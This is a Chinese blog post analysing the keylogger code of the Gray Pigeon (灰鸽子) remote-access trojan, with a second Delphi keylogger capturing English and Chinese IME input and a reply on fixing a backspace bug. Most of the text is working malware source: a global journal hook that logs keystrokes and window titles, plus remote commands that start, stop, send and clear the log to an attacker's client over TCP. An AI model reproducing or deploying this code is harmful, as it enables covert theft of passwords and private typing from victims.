灰鸽子键盘记录源码分析及一个中英文键盘记录代码
2006年11月21日 星期二 下午 3:11
首先是:

var
LogHook: HHook = 0;

HookList: TStringList;

函数:

function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;
var
ch: Char;
vKey: Integer;
FocusWnd: HWND;
Title: array[0..255] of Char;
str: array[0..12] of Char;
TempStr, Time: string;
LogFile: TextFile;
PEvt: ^EVENTMSG;
iCapital, iNumLock, iShift: Integer;
bShift, bCapital, bNumLock: Boolean;
begin
if iCode < 0 then
begin
   Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
   exit;
end;
if (iCode = HC_ACTION) then
begin
   pEvt := Pointer(DWord(lParam));

   FocusWnd := GetActiveWindow;
   if LastFocusWnd <> FocusWnd then
   begin
     if hookkey<>'' then
     begin
       HookList.Add(hookkey);
       hookkey :='';
     end;
     HookList.Add('======End=====');
     HookList.Add('=====begin====');
     GetWindowText(FocusWnd, Title, 256);
     LastFocusWnd := FocusWnd;
     Time := DateTimeToStr(Now);
     HookList.Add(Time + Format('Title:%s', [Title]));
   end;

   if pEvt.message = WM_KEYDOWN then
   begin
     vKey := LOBYTE(pEvt.paramL);
     iShift := GetKeyState($10);
     iCapital := GetKeyState($14);
     iNumLock := GetKeyState($90);
     bShift := ((iShift and KeyMask) = KeyMask);
     bCapital := ((iCapital and 1) = 1);
     bNumLock := ((iNumLock and 1) = 1);

     //HookList.Add('这是vKey:'+inttostr(vKey));

     if ((vKey >= 48) and (vKey <= 57)) then
     begin
       if not bShift then
         begin
         ch := Char(vKey);
         end else begin
         case vKey of
           48: ch := ')';
           49: ch := '!';
           50: ch := '@';
           51: ch := '#';
           52: ch := '$';
           53: ch := '%';
           54: ch := '^';
           55: ch := '&';
           56: ch := '*';
           57: ch := '(';
         end;
       end;
       hookkey:=hookkey+ch;
     end;
     if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
     begin
     if not bCapital then
     begin
       if bShift then
         ch := Char(vKey)
       else
         ch := Char(vKey + 32);
     end
     else begin
       if bShift then
         ch := Char(vKey + 32)
       else
         ch := Char(vKey);
     end;
     hookkey:=hookkey+ch;
     end;
     if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
     if bNumLock then
     hookkey:=hookkey+Char(vKey - 96 + 48);
     ch:='n';
     if (VKey > 105) and (VKey <= 111) then
     begin
     case vKey of
       106: ch := '*';
       107: ch := '+';
       109: ch := '-';
       111: ch := '/';
     else
       ch := 'n';
     end;
     end;
     if (vKey >= 186) and (vKey <= 222) then // 其他键
     begin
     case vKey of
       186: if not bShift then ch := ';' else ch := ':';
       187: if not bShift then ch := '=' else ch := '+';
       188: if not bShift then ch := ',' else ch := '<';
       189: if not bShift then ch := '-' else ch := '_';
       190: if not bShift then ch := '.' else ch := '>';
       191: if not bShift then ch := '/' else ch := '?';
       192: if not bShift then ch := '`' else ch := '~';
       219: if not bShift then ch := '[' else ch := '{';
       220: if not bShift then ch := '\' else ch := '|';
       221: if not bShift then ch := ']' else ch := '}';
       222: if not bShift then ch := Char(27) else ch := '"';
     else
       ch := 'n';
     end;
     end;
     if ch <> 'n' then
     hookkey:=hookkey+ ch;

     // if (wParam >=112 && wParam<=123) // 功能键    [F1]-[F12]
     if (vKey >= 8) and (vKey <= 46) then //方向键
     begin
     ch := ' ';
     case vKey of
       8: str := '[退格]';
       9: str := '[TAB]';
       13: str := '[Enter]';
       32: str := '[空格]';
       33: str := '[PageUp]';
       34: str := '[PageDown]';
       35: str := '[End]';
       36: str := '[Home]';
       37: str := '[LF]';
       38: str := '[UF]';
       39: str := '[RF]';
       40: str := '[DF]';
       45: str := '[Insert]';
       46: str := '[Delete]';
     else
       ch := 'n';
     end;
     if ch <> 'n' then
     begin
       //if PrvChar<>Char(vKey) then
       //begin
         hookkey :=hookkey+str;
       // PrvChar := Char(vKey);
       //end;
     end;
     end;
   end ;
{    else
     if (pEvt.message = WM_LBUTTONDOWN) or (pEvt.message = WM_RBUTTONDOWN) then
     begin
     if hookkey<>'' then
       begin
         HookList.add(Hookkey);
         hookkey:='';
       end;
     if pEvt.message = WM_LBUTTONDOWN then
       TempStr := '鼠标左键: '
     else
       TempStr := '鼠标右键: ';
     HookList.Add(TempStr + Format('x:%d,y:%d', [pEvt.paramL, pEvt.paramH]));
     end;
   //CloseFile(LogFile); }
end;
Result := CallNextHookEx(LogHook, iCode, wParam, lParam);
end;


/////////////////////////////////////////////////////////////////////////////////////

if StrTmpList[1]='039' then
   begin    {启动键盘记录}
   if LogHook = 0 then
     begin
       Request:='Cmd009';        //启动键盘记录成功!查看记录前请先终止键盘记录!
       LogHook := SetWindowsHookEx(WH_JOURNALRECORD, LogProc, HInstance, 0);
     end else begin
       Request:='Cmd010';        //键盘记录已经启动过了!
     end;
   if Request='' then Request:='Cmd011';      //启动键盘记录成功!查看记录前请先终止键盘记录!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='040' then
   begin    {终止键盘记录}
   try
     if LogHook <> 0 then
       begin
       UnhookWindowsHookEx(LogHook);
       LogHook := 0;
       HookList.Add(Hookkey);
       HookList.Add('*********End**********');
       Hookkey:='';
       end;
   except
   end;
   Request:='Cmd012';      //终止键盘记录成功!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='041' then
   begin    {查看键盘记录}
   Request:=HookList.Text;
   if Request='' then
   begin
     Request:='NULL'; //键盘记录为空.
   end;
   SendStreamToClient(IdTCPClient1,'018',Request);
   Exit;
end;
{------------------------------------}
if StrTmpList[1]='042' then
   begin    {清空键盘记录}
   try
     HookList.Clear;
   except
   end;
   Request:='Cmd014';      //清空键盘记录完成!
   SendStreamToClient(IdTCPClient1,'011',Request);
   Exit;
end;



function LogProc(iCode: Integer; wparam, lparam: LongInt): lresult; stdcall;

这是一个钩子的回调函数。当用下边用SetWindowsHookEx安装了一个WH_JOURNALRECORD类型的钩子成功后,
就会调用这个回调函数,也就是执行回调函数的功能

WH_JOURNALRECORD 类型的钩子用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,
然后通过使用WH_JOURNALPLAYBACK Hook来回放。WH_JOURNALRECORD 钩子是全局钩子,它不能象线程特定钩子一样使用。

像黑洞那样的能记录下输入的汉字和字符的一般都 是安装WH_GETMESSAGE类型 的钩子

然后用回调函数过滤出英文字符和汉字。
++++++++++++++++++++++++++++++++++++++++++++++++
一个中英文键盘记录代码

一个声明:基本实现监视记录功能,参考了网上的相关代码(特别是那个汇编做的)
一个问题:自己测试发现遇到退格键时会记录成 [<=](多出前面一个),下面给出关键代码,大家试试看还有

什么问题,如何解决?


function HookProcEn(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;//export;
var
pcs:pMSG;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PMSG(lparam);
if pcs^.message = WM_KEYUP then
begin
   if pcs^.wParam<$30 then
   begin
   if pcs^.wParam=VK_UP then ToFileProc('[↑]')
   else
   if pcs^.wParam=VK_LEFT then ToFileProc('[←]')
   else
   if pcs^.wParam=VK_RIGHT then ToFileProc('[→]')
   else
   if pcs^.wParam=VK_DOWN then ToFileProc('[↓]')
   else
   if pcs^.wParam=VK_BACK then ToFileProc('[<=]') //就是这个有问题了
   else
   if pcs^.wParam=VK_TAB then ToFileProc('[Tab]')
   else
   if pcs^.wParam=VK_ESCAPE then ToFileProc('[Esc]')
   else
   if PCS^.wParam=VK_Delete then ToFileProc('[Del]')
   else
   if PCS^.wParam=VK_MENU then ToFileProc('[Alt]')
   else
   if pcs^.wParam=VK_SHIFT then ToFileProc('[Shift]');
   end;
end
else
if pcs^.message = WM_CHAR then //截获发向焦点窗口的键盘消息(WM_KEYUP和WM_KEYDOWN消息)
begin
   if not (IsDBCSleadByte(pcs^.wParam)) then
   begin
   if (wParam and PM_REMOVE)>0 then
   begin
     if pcs^.wParam=VK_SPACE then ToFileProc(' ')
     else
     if pcs^.wParam=VK_RETURN then ToFileProc('#10')
     else
     ToFileProc(char(pcs^.wParam AND $FF))
   end;
   end;
end;
end;
pcs:=nil;
end;

function HookProcCh(ncode:integer;wparam:wparam;lparam:lparam): LRESULT; stdcall;
var
dwLen:DWORD;
himc:HWND;
hFocus:THandle;
pcs:PCWPSTRUCT;
begin
Result:= CallNextHookEx(KeyboardHook, nCode, wParam, lParam);
if (nCode = HC_ACTION) then
begin
pcs:=PCWPSTRUCT(lparam);
if PCs^.message = WM_IME_COMPOSITION then
   begin
   hFocus := GetFocus();
   HIMC := ImmGetContext(hFocus);//先获取当前正在输入的窗口的输入法句柄
   if HIMC = 0 then Exit;
   //将ImmGetCompositionString的获取长度设为0来获取字符串大小.
   dwLen := ImmGetCompositionString(hImc,GCS_RESULTSTR,nil,0);
   if dwLen > 0 then
   begin
     // 再调用一次.ImmGetCompositionString获取字符串
     if ImmGetCompositionString(HIMC, GCS_RESULTSTR, @cchar, dwLen + sizeof(WCHAR)) > 0 then
     begin
     if strcomp(cchar,cchar2)<>0 then
     ToFileProc(cchar);
     strcopy(cchar2,cchar);
     ZeroMemory(@cchar,20);
     end;
   end;
   ImmReleaseContext(hFocus, HIMC);
end;
end;
pcs:=nil;
end;

删除前面一个字符串就好了
这个东西你可以先声明一个string.
然后有消息进入的时候事先读取已经存储的字符串
然后删除前面一位再写回去就好了
或者你直接操作字符串也可以把当前输入指针的前面一位给替换撑0x00就OK了